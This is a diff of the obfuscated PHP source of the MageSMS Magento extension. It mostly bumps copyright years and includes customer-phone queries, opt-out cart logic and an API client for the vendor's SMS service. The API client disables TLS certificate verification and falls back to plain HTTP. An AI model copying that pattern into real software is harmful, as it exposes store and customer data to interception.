$i25d716f44b9a21507a214e968cc96805785eff97->filter($if66f788c75229f5f3ea1a622ab4dee258553c789[$i36424a86007474ffc648c582cbfca240cda58c1e]); $if66f788c75229f5f3ea1a622ab4dee258553c789[$i36424a86007474ffc648c582cbfca240cda58c1e] = $id1da71c6f00d9b85058894facc6aae99ed82822c->filter($if66f788c75229f5f3ea1a622ab4dee258553c789[$i36424a86007474ffc648c582cbfca240cda58c1e]); } } return $if66f788c75229f5f3ea1a622ab4dee258553c789; } public function getCustomerCollection() { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getResourceModel('customer/customer_collection') ->addNameToSelect() ->joinAttribute('billing_telephone', 'customer_address/telephone', 'default_billing', null, 'left') ->joinAttribute('shipping_telephone', 'customer_address/telephone', 'default_shipping', null, 'left') ->joinAttribute('billing_city', 'customer_address/city', 'default_billing', null, 'left') ->joinAttribute('billing_country_id', 'customer_address/country_id', 'default_billing', null, 'left') ->joinAttribute('shipping_country_id', 'customer_address/country_id', 'default_shipping', null, 'left'); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = array( array( 'attribute' => 'billing_telephone', array(array('notnull' => true), array('neq' => '')) ), array( 'attribute' => 'shipping_telephone', array(array('notnull' => true), array('neq' => '')) ) ); $id57d139cfcd7590b603d5b061a6237d01bc011b2 = Mage::getResourceModel('catalog/eav_attribute')->loadByCode('customer', 'mobile'); if ($id57d139cfcd7590b603d5b061a6237d01bc011b2->getId()) { $iff7e46827cbb6547116c592bf800f4687428abf9->joinAttribute('customer_mobile', 'customer/mobile', 'mobile', null, 'left'); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a[] = array( 'attribute' => 'mobile', array(array('notnull' => true), array('neq' => '')) ); } $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18 = Mage::getSingleton('magesms/smsprofile'); if (version_compare(Mage::getVersion(), '1.6', '>=')) { if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->getPrefbilling()) if ($id57d139cfcd7590b603d5b061a6237d01bc011b2->getId()) $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`at_shipping_telephone`.`value`, `at_shipping_telephone`.`value`, IF(`at_billing_telephone`.`value`, `at_billing_telephone`.`value`, `at_mobile`.`value`)) AS telephone'); else $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`at_shipping_telephone`.`value`, `at_shipping_telephone`.`value`, `at_billing_telephone`.`value`) AS telephone'); else if ($id57d139cfcd7590b603d5b061a6237d01bc011b2->getId()) $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`at_billing_telephone`.`value`, `at_billing_telephone`.`value`, IF(`at_shipping_telephone`.`value`, `at_shipping_telephone`.`value`, `at_mobile`.`value` )) AS telephone'); else $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`at_billing_telephone`.`value`, `at_billing_telephone`.`value`, `at_shipping_telephone`.`value`) AS telephone'); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`at_shipping_country_id`.`value`, `at_shipping_country_id`.`value`, `at_billing_country_id`.`value`) AS country_id'); } else { if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->getPrefbilling()) if ($id57d139cfcd7590b603d5b061a6237d01bc011b2->getId()) $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`_table_shipping_telephone`.`value`, `_table_shipping_telephone`.`value`, IF(`_table_billing_telephone`.`value`, `_table_billing_telephone`.`value`, `_table_mobile`.`value`)) AS telephone'); else $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`_table_shipping_telephone`.`value`, `_table_shipping_telephone`.`value`, `_table_billing_telephone`.`value`) AS telephone'); else if ($id57d139cfcd7590b603d5b061a6237d01bc011b2->getId()) $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`_table_billing_telephone`.`value`, `_table_billing_telephone`.`value`, IF(`_table_shipping_telephone`.`value`, `_table_shipping_telephone`.`value`, `_table_mobile`.`value`)) AS telephone'); else $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`_table_billing_telephone`.`value`, `_table_billing_telephone`.`value`, `_table_shipping_telephone`.`value`) AS telephone'); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`_table_shipping_country_id`.`value`, `_table_shipping_country_id`.`value`, `_table_billing_country_id`.`value`) AS country_id'); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } public function addOptoutProduct($i7fff76b02be2f63877a1782ca871e62a287fa16f = false) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b = $this->getOptoutProduct(); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b) { if ($i7fff76b02be2f63877a1782ca871e62a287fa16f) { $i32bd8782f9db301dda31691016fa281ffd5c7c36 = Mage::getResourceModel('catalog/product')->getAttributeRawValue($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->getId(), 'magesms_optout', Mage::app()->getStore()->getId()); if (!$i32bd8782f9db301dda31691016fa281ffd5c7c36) return $this; } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->setStoreId(Mage::app()->getStore()->getId()); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->load($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->getId()); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->getStatus() == Mage_Catalog_Model_Product_Status::STATUS_ENABLED) { $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495 = Mage::getSingleton('checkout/cart'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d12f98417e3df53ca8bc49671d89c1a89cdceeb8b = $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->getItems(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749ddd690844e5b6fae774e02ace13c0608c4bd6bfbc = false; foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749d12f98417e3df53ca8bc49671d89c1a89cdceeb8b as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d705fa7c9639d497e1179d7d5691c212668a8c9c8) { if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d705fa7c9639d497e1179d7d5691c212668a8c9c8->getSku() == Mage::getConfig()->getNode('default/config/optout')->sku) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749ddd690844e5b6fae774e02ace13c0608c4bd6bfbc = true; break; } } if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddd690844e5b6fae774e02ace13c0608c4bd6bfbc === false) { $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->init(); $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->addProduct($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b, array('qty' => 1)); $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->save(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('checkout/session'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0e3e80cee9c51f140b823db0b7df66493acca657->setCartWasUpdated(true); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d8091f3f14f616f7c7725a766ecf5f3d4a561a828 = Mage::helper('checkout')->__('%s was added to your shopping cart.', Mage::helper('core')->escapeHtml($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->getName())); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0e3e80cee9c51f140b823db0b7df66493acca657->addSuccess($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8091f3f14f616f7c7725a766ecf5f3d4a561a828); } } } return $this; } public function removeOptoutProduct($i7fff76b02be2f63877a1782ca871e62a287fa16f = false) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b = $this->getOptoutProduct(); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b) { $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495 = Mage::getSingleton('checkout/cart'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d705fa7c9639d497e1179d7d5691c212668a8c9c8 = $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->getQuote()->getItemByProduct($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b); if (($ibcdf76f8c9ddc330c79f805116a8bb146c43749d705fa7c9639d497e1179d7d5691c212668a8c9c8 && !$i7fff76b02be2f63877a1782ca871e62a287fa16f) || ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d705fa7c9639d497e1179d7d5691c212668a8c9c8 && $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->getItemsCount() == 2)) { $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->removeItem($ibcdf76f8c9ddc330c79f805116a8bb146c43749d705fa7c9639d497e1179d7d5691c212668a8c9c8->getId()); $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->save(); } } } public function getOptoutProduct() { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dc010a5d08128ec6abcd0a1a16cb1d8abe7bf2142 = Mage::getConfig()->getNode('default/config/optout')->sku; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b = Mage::getModel('catalog/product')->loadByAttribute('sku', $ibcdf76f8c9ddc330c79f805116a8bb146c43749dc010a5d08128ec6abcd0a1a16cb1d8abe7bf2142); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->getStatus() == Mage_Catalog_Model_Product_Status::STATUS_ENABLED) return $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b; } }
app/code/community/Topefekt/Magesms/Model/Admins.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Admins extends Mage_Core_Model_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/admins'); } public function validate() { $ieeea3fa58a065e13acdb42aab551831a98e9444c = array(); $i0d09b2a4f282150bf47b02f9f3d82586fe313844 = Mage::helper('magesms'); if (!Zend_Validate::is($this->getName(), 'NotEmpty')) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('Invalid name'); } if (!Zend_Validate::is($this->getNumber(), 'NotEmpty')) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('Invalid number'); } elseif (!Mage::helper('magesms')->isPhoneNumber($this->getNumber())) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('Invalid number'); } if (empty($ieeea3fa58a065e13acdb42aab551831a98e9444c)) { return true; } return $ieeea3fa58a065e13acdb42aab551831a98e9444c; } public function _afterDelete() { if ($this->getId()) { $if739aceffec69fa2733946a3d319defaa354082d = Mage::getModel('magesms/hooks_admins') ->getCollection() ->addFieldToFilter('admin_id', $this->getId()); foreach ($if739aceffec69fa2733946a3d319defaa354082d as $i42ee48f418943c9662de0976069476c7dc8f620d) $i42ee48f418943c9662de0976069476c7dc8f620d->delete(); } return parent::_afterDelete(); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Admins extends Mage_Core_Model_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/admins'); } public function validate() { $ieeea3fa58a065e13acdb42aab551831a98e9444c = array(); $i0d09b2a4f282150bf47b02f9f3d82586fe313844 = Mage::helper('magesms'); if (!Zend_Validate::is($this->getName(), 'NotEmpty')) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('Invalid name'); } if (!Zend_Validate::is($this->getNumber(), 'NotEmpty')) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('Invalid number'); } elseif (!Mage::helper('magesms')->isPhoneNumber($this->getNumber())) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('Invalid number'); } if (empty($ieeea3fa58a065e13acdb42aab551831a98e9444c)) { return true; } return $ieeea3fa58a065e13acdb42aab551831a98e9444c; } public function _afterDelete() { if ($this->getId()) { $if739aceffec69fa2733946a3d319defaa354082d = Mage::getModel('magesms/hooks_admins') ->getCollection() ->addFieldToFilter('admin_id', $this->getId()); foreach ($if739aceffec69fa2733946a3d319defaa354082d as $i42ee48f418943c9662de0976069476c7dc8f620d) $i42ee48f418943c9662de0976069476c7dc8f620d->delete(); } return parent::_afterDelete(); } }
app/code/community/Topefekt/Magesms/Model/Answers.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Answers extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/answers'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Answers extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/answers'); } }
app/code/community/Topefekt/Magesms/Model/Api.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Model_Api extends Varien_Object { private $v9f1e7fea943b3d06ee78f55d3b61a95353536218 = 'Magento'; private $v9f1e7fea943b3d06ee78f55d3b61a95353536218_version; private $v240a8b53893ca3ef75eff909fc854708b004d86d; private $v178a3e710e3d4aca00fd843753ef02f29eb2145d; private $v45213b023462fa21483839e6493acb7cbe1faeab = 'smsmidlet.com'; private $v7d5fd66476c545cbe20f5b704f5ef46970896444 = '/api/api.php'; private $v9e19674cb6e6518d1f09715fae28b8fe6b262f87; private $v7cb5076e93f299085ab8c3bfa32e5712b4990f85 = 80; private $vb57aea5fc32ac2e31b4752c9f7610744dee1af4d = 443; private $v077a05d1aa14d236b9794734fee8900f425eefdf = 5; private $v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 = 'auto'; private $vcb9f213798e6a676a15ee3c66b26bee41d69d0d4; private $vc4185f8999ea79fe5ab81e90671fb9efdd6f4bdb = false; public $data; public $query; private $v31d4e11356546b3c102ad42948b903df3b2dcbfc = array(); private $v8adb8a55748ba4eeb0af088f166489d679f689d0 = array(); public function __construct($i4fa8552ddebdef541b5cf2171f90a3e3066468e0 = null) { $this->v9f1e7fea943b3d06ee78f55d3b61a95353536218_version = Mage::getVersion(); $this->v240a8b53893ca3ef75eff909fc854708b004d86d = Mage::getConfig()->getModuleConfig('Topefekt_Magesms')->version; $this->v178a3e710e3d4aca00fd843753ef02f29eb2145d = Mage::getStoreConfig('magesms/appId'); if (empty($this->v178a3e710e3d4aca00fd843753ef02f29eb2145d)) $this->v178a3e710e3d4aca00fd843753ef02f29eb2145d = 'no-appId'; $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 = ($i35beb284d43488e678f4231cd9771c42363194b5 = Mage::getStoreConfig('magesms/magesms/connector', 0)) ? $i35beb284d43488e678f4231cd9771c42363194b5 : 'auto'; if ($i4fa8552ddebdef541b5cf2171f90a3e3066468e0) $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 = $i4fa8552ddebdef541b5cf2171f90a3e3066468e0; return $this; } private function f418217640effcf22811abf41fb6822676544f195($i4fa8552ddebdef541b5cf2171f90a3e3066468e0 = null) { if ($i4fa8552ddebdef541b5cf2171f90a3e3066468e0 != null) { if (in_array($i4fa8552ddebdef541b5cf2171f90a3e3066468e0, array('auto', 'ssl', 'curl-ssl', 'no-ssl', 'curl'))) $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 = $i4fa8552ddebdef541b5cf2171f90a3e3066468e0; } if ($this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'auto' || $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'ssl') { @$this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = fsockopen('ssl://'.$this->v45213b023462fa21483839e6493acb7cbe1faeab, $this->vb57aea5fc32ac2e31b4752c9f7610744dee1af4d, $this->v31d4e11356546b3c102ad42948b903df3b2dcbfc['ssl'], $this->v8adb8a55748ba4eeb0af088f166489d679f689d0['ssl'], $this->v077a05d1aa14d236b9794734fee8900f425eefdf); if (!empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87)) return 'ssl'; } if ($this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'auto' || $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'curl-ssl') { $this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = curl_init('https://'.$this->v45213b023462fa21483839e6493acb7cbe1faeab.$this->v7d5fd66476c545cbe20f5b704f5ef46970896444); $this->v31d4e11356546b3c102ad42948b903df3b2dcbfc['curl'] = curl_errno($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); $this->v8adb8a55748ba4eeb0af088f166489d679f689d0['curl'] = curl_error($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); if (!empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87) && empty($this->v31d4e11356546b3c102ad42948b903df3b2dcbfc['curl'])) return 'curl-ssl'; $this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = null; } if ($this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'auto' || $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'no-ssl') { @$this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = fsockopen($this->v45213b023462fa21483839e6493acb7cbe1faeab, $this->v7cb5076e93f299085ab8c3bfa32e5712b4990f85, $this->v31d4e11356546b3c102ad42948b903df3b2dcbfc['no-ssl'], $this->v8adb8a55748ba4eeb0af088f166489d679f689d0['no-ssl'], $this->v077a05d1aa14d236b9794734fee8900f425eefdf); if (!empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87)) return 'no-ssl'; } if ($this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'auto' || $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'curl') { $this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = curl_init('http://'.$this->v45213b023462fa21483839e6493acb7cbe1faeab.$this->v7d5fd66476c545cbe20f5b704f5ef46970896444); $this->v31d4e11356546b3c102ad42948b903df3b2dcbfc['curl'] = curl_errno($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); $this->v8adb8a55748ba4eeb0af088f166489d679f689d0['curl'] = curl_error($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); if (!empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87) && empty($this->v31d4e11356546b3c102ad42948b903df3b2dcbfc['curl'])) return 'curl'; $this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = null; } return false; } private function fba8eb60cc038de71062462629784762fcf874461($ia61712c27ea241bd7a543dc2b02ea572274d0322) { if (empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87)) return false; $this->query = $ia61712c27ea241bd7a543dc2b02ea572274d0322; preg_match('/action=(.*?)&/', $ia61712c27ea241bd7a543dc2b02ea572274d0322, $i43da24755ffd60b125b8d028fe9374322824e354); $i87f2ea938389759d33b89c6fb4d2e619c5e100fa = $i43da24755ffd60b125b8d028fe9374322824e354[1]; switch ($this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9) { case 'no-ssl': case 'ssl': fwrite($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, "POST ".$this->v7d5fd66476c545cbe20f5b704f5ef46970896444." HTTP/1.0\r\n"); fwrite($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, "User-Agent: Smsmidlet-api/1.0 (".$this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9."; ".$this->v9f1e7fea943b3d06ee78f55d3b61a95353536218."; ".$this->v9f1e7fea943b3d06ee78f55d3b61a95353536218_version."; call: $i87f2ea938389759d33b89c6fb4d2e619c5e100fa)\r\n"); fwrite($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, "Host: ".$this->v45213b023462fa21483839e6493acb7cbe1faeab."\r\n"); fwrite($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, "Content-type: application/x-www-form-urlencoded; charset=utf-8\r\n"); fwrite($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, "Content-length: ".strlen ($ia61712c27ea241bd7a543dc2b02ea572274d0322)."\r\n"); fwrite($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, "\r\n".$ia61712c27ea241bd7a543dc2b02ea572274d0322."\r\n"); $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3 = ''; while (!feof($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87)) { @$i3bd625bb1dc4606e8c0dc77ad823797f51341fc3 .= fgets($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, 2048); } $ie4a1f55ce89a34eb3838ef044286891434352fb7 = fclose($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); list($ie3dffdbcc706f9e096534318ed81a9f59e289e7d, $this->data) = explode("\r\n\r\n", $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3, 2); return $this->data; break; case 'curl': case 'curl-ssl': if (get_resource_type($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87) == 'curl') { @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_POST, 1); @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_POSTFIELDS, $ia61712c27ea241bd7a543dc2b02ea572274d0322); @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_HEADER, 0); @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_USERAGENT,'Smsmidlet-api/1.0 ('.$this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9.'; '.$this->v9f1e7fea943b3d06ee78f55d3b61a95353536218.'; '.$this->v9f1e7fea943b3d06ee78f55d3b61a95353536218_version."; call: $i87f2ea938389759d33b89c6fb4d2e619c5e100fa )"); @$i3bd625bb1dc4606e8c0dc77ad823797f51341fc3 = curl_exec($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3 = html_entity_decode($i3bd625bb1dc4606e8c0dc77ad823797f51341fc3); curl_close($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); return $this->data = $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3; } break; } return false; } public function getconnectMethod() { return $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9; } public function serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322, $i17c20960d197486b19dc890665362a4f2fd6f24a = true) { if (empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87) && $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 != 'auto') $i4fa8552ddebdef541b5cf2171f90a3e3066468e0 = $this->f418217640effcf22811abf41fb6822676544f195(); if (empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87)) $i4fa8552ddebdef541b5cf2171f90a3e3066468e0 = $this->f418217640effcf22811abf41fb6822676544f195('auto'); if (empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87)) return false; if (!empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87) && isset($i4fa8552ddebdef541b5cf2171f90a3e3066468e0)) $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 = $i4fa8552ddebdef541b5cf2171f90a3e3066468e0; $i2f4c8461c23acd59e2d84b6cbd67931b74d28001 = ''; if (Mage::registry('magesms_store_id')) $i2f4c8461c23acd59e2d84b6cbd67931b74d28001 = '&storeid='.Mage::registry('magesms_store_id'); $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3 = $this->fba8eb60cc038de71062462629784762fcf874461($ia61712c27ea241bd7a543dc2b02ea572274d0322.$i2f4c8461c23acd59e2d84b6cbd67931b74d28001.'&AppID='.$this->v178a3e710e3d4aca00fd843753ef02f29eb2145d.'&version='.$this->v9f1e7fea943b3d06ee78f55d3b61a95353536218_version.'&moduleVersion='.$this->v240a8b53893ca3ef75eff909fc854708b004d86d); $this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = null; return $i17c20960d197486b19dc890665362a4f2fd6f24a ? $this->parser($i3bd625bb1dc4606e8c0dc77ad823797f51341fc3) : $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3; } public function parser($ia61712c27ea241bd7a543dc2b02ea572274d0322, $ia9229b7048dd0adf905022d8569b2d2310c74a8d = ';') { if (is_bool($ia61712c27ea241bd7a543dc2b02ea572274d0322)) return $ia61712c27ea241bd7a543dc2b02ea572274d0322; $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3 = array('errno' => 99, 'error' => 'Parse error: '.$ia61712c27ea241bd7a543dc2b02ea572274d0322, 'query' => $this->query, 'source' => $ia61712c27ea241bd7a543dc2b02ea572274d0322, 'data' => NULL, 'datasrc' => null); if (preg_match('/<b>(.*?)<\/b>/', $ia61712c27ea241bd7a543dc2b02ea572274d0322, $i712821c3a64ae4a252ded9f3deaaddb6e942d985)) { $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['errno'] = $i712821c3a64ae4a252ded9f3deaaddb6e942d985[1]; } if (preg_match('/<u>(.*)<\/u>/', $ia61712c27ea241bd7a543dc2b02ea572274d0322, $i5528ed14b056e3debe4695094269de3a98f76fe7)) { if (!in_array($i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['errno'], array(1, 11, 111))) { $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['error'] = $i5528ed14b056e3debe4695094269de3a98f76fe7[1]; $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['datasrc'] = $i5528ed14b056e3debe4695094269de3a98f76fe7[1]; } else { $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['error'] = 'OK'; $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['datasrc'] = $i5528ed14b056e3debe4695094269de3a98f76fe7[1]; $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['data'] = explode($ia9229b7048dd0adf905022d8569b2d2310c74a8d, $i5528ed14b056e3debe4695094269de3a98f76fe7[1]); } } return $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
